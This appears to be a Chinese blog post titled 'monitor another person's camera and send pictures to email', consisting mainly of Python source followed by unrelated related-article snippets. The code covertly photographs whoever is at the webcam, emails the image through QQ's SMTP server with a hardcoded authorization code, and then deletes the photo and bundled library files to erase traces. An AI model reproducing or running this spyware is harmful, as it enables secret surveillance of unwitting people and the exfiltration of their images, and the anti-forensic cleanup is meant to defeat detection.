监控他人摄像头,并发送图片到邮箱
源码:
from smtplib import SMTP_SSL
from os import remove
from email.mime.image import MIMEImage
from cv2 import VideoCapture,imwrite
from email.utils import formataddrfilename = 'opencv_capture.png'def send_picture():my_sender = '****@qq.com' # 发件人邮箱账号my_pass = 'zmwqfmugjxllebig' # 发件人邮箱密码,这个是邮箱授权码,上一篇文章讲了授权码如何获得my_user = '****@qq.comm' # 收件人邮箱账号,可以填发件人邮箱账号smtp =SMTP_SSL("smtp.qq.com", 465)#实例化SMTP()smtp.login(my_sender,my_pass) #登录#发送邮件sendimagefile=open('opencv_capture.png','rb').read()msg = MIMEImage(sendimagefile)#发送正文msg['From'] = formataddr(["NIKI", my_sender]) # 括号里的对应发件人邮箱昵称、发件人邮箱账号msg['To'] = formataddr(["FK", my_user]) # 括号里的对应收件人邮箱昵称、收件人邮箱账号msg['Subject'] = "CV邮件" # 邮件的主题,也可以说是标题smtp.sendmail(my_sender, my_user, msg.as_string())smtp.quit()#删除痕迹try:remove(filename)list_file=['_bz2.pyd','_ctypes.pyd','_decimal.pyd','_hashlib.pyd','_lzma.pyd','_multiprocessing.pyd','_queue.pyd','_socket.pyd','_ssl.pyd']for name in list_file:remove(name)except:Nonedef get_picture():cap =VideoCapture(0)f, frame = cap.read() # 此刻拍照imwrite(filename, frame) # 将拍摄内容保存为png图片cap.release() # 关闭调用的摄像头def main():get_picture()send_picture()if __name__ == '__main__':main()
监控他人摄像头,并发送图片到邮箱相关推荐
- 摄像头监控人形并实时发送提醒到邮箱
home_monitor 介绍 使用OpenCV获取萤石云视频流,并使用PyTorch分析视频流,将分析结果发送到邮箱.可应用于摄像头实时人形检测,发现人形及时通知,并存储视频. 深度学习模型可以自己 ...
- Android发送图片到指定邮箱(仅客户端简单实现,不需服务端配合)
概述 Android客户端发送图片到指定邮箱在某些业务场景中还是可能会用到,我写这篇文章的目的就是帮助刚要做这个功能的朋友先快速实现功能,然后再去研究他们感兴趣的内容.我在代码中做尽量多的注释,也可以 ...
- 程序控制发送文件到邮箱_Kindle电子邮箱推送
Kindle 推送支持的格式 目前 Kindle 推送仅支持以下几种格式.需要注意的是,AZW 和 AZW3 是两种不同的格式,虽然这两种格式 Kindle 设备都支持阅读,但是亚马逊的个人文档服务支 ...
- 企业微信机器人脚本python_python3 企业微信机器人发送图片
最近在搞闽政通各种监控,使用paramiko推送脚本取回监控数据入库,写脚本练练脑 刚好企业微信机器人有发送图片功能,简单的试了下,监控并发连接数,搞可视化的图. 想想用机器人斗图一定很happy.. ...
- Python3实现发送邮件、发送图片、附件等
生成QQ邮箱授权码 点击开启,然后按照提示短信验证即可.PS:友情提示,珍爱生命,远离网易163- 简单邮件发送 # coding=utf-8 import smtplib from email.mi ...
- 【Web技术】网站留言系统开发,及留言信息实时发送至指定邮箱
[Web技术]网站留言系统开发,及留言信息实时发送至指定邮箱 关键字:HTML PHP JavaScript CSS 文章目录 [Web技术]网站留言系统开发,及留言信息实时发送至指定邮箱 0 简述 ...
- 第三阶段应用层——2.6 视频监控—CMOS摄像头的硬件原理
视频监控-CMOS摄像头的硬件原理 硬件平台:韦东山嵌入式Linxu开发板(S3C2440.v3) 软件平台:运行于VMware Workstation 12 Player下UbuntuLTS16.0 ...
- android短信到邮箱,Android_andoid打包短信发送到gmail邮箱实现代码,andriod短信整合备份发送到gmail - phpStudy...
andoid打包短信发送到gmail邮箱实现代码 andriod短信整合备份发送到gmail邮箱,需要在andoid手机配置好gmail邮箱 github代码 https://github.com/z ...
- html post 图片,如何发送图片作为多部分POST请求的一部分 - Java HtmlUnit
我正尝试使用Java将验证码提交给decaptcher.com. Decaptcher并没有很好的解释如何使用他们的API,所以我想弄清楚如何使用HTTP POST请求来提交验证码.下面是示例代码,我 ...
最新文章
- Java中Queue和BlockingQueue的区别
- pow函数gcc编译提示 undefined reference to `power' 的解决办法
- 利用HttpModuler实现WEB程序同一时间只让一个用户实例登陆
- Mybatis注解实现一对多关联映射(@Many)
- 23-java基础加强(反射、泛型、注解、动态代理)
- apache2 wordpress目录权限_WSL(ubuntu)的Apache2+CGI(包含CGICC)+SSL的配置
- 高并发 高负载 网站系统架构 !深入讨论!【转载】
- [LeetCode] Android Unlock Patterns 安卓解锁模式
- tasker运行java_Tasker 打开桌面快捷方式(以微信公众号为例)[No Root]
- 新鲜出炉!腾讯大数据分析的真实面经,这几个问题把我问懵了
- js中substr,substring,indexOf,lastIndexOf的用法小结
- 蔡高厅高等数学18-函数在一点处的连续、函数在区间内的连续、两类间断点的判断
- Leetcode刷题-707:设计链表
- 类似京东淘宝历史搜索自适应长度搜索项超两行折叠功能实现
- 看似美好,实则无奈,水果业上限如此?
- Ceph Luminous 12.2.11 安装 nfs-ganesha
- qemu 的 win98 plus 镜像
- django项目manage.py指定IP和端口
- java做度量衡换算器_单位换算计算器(度数换算计算器)
- ubuntu下的常用技巧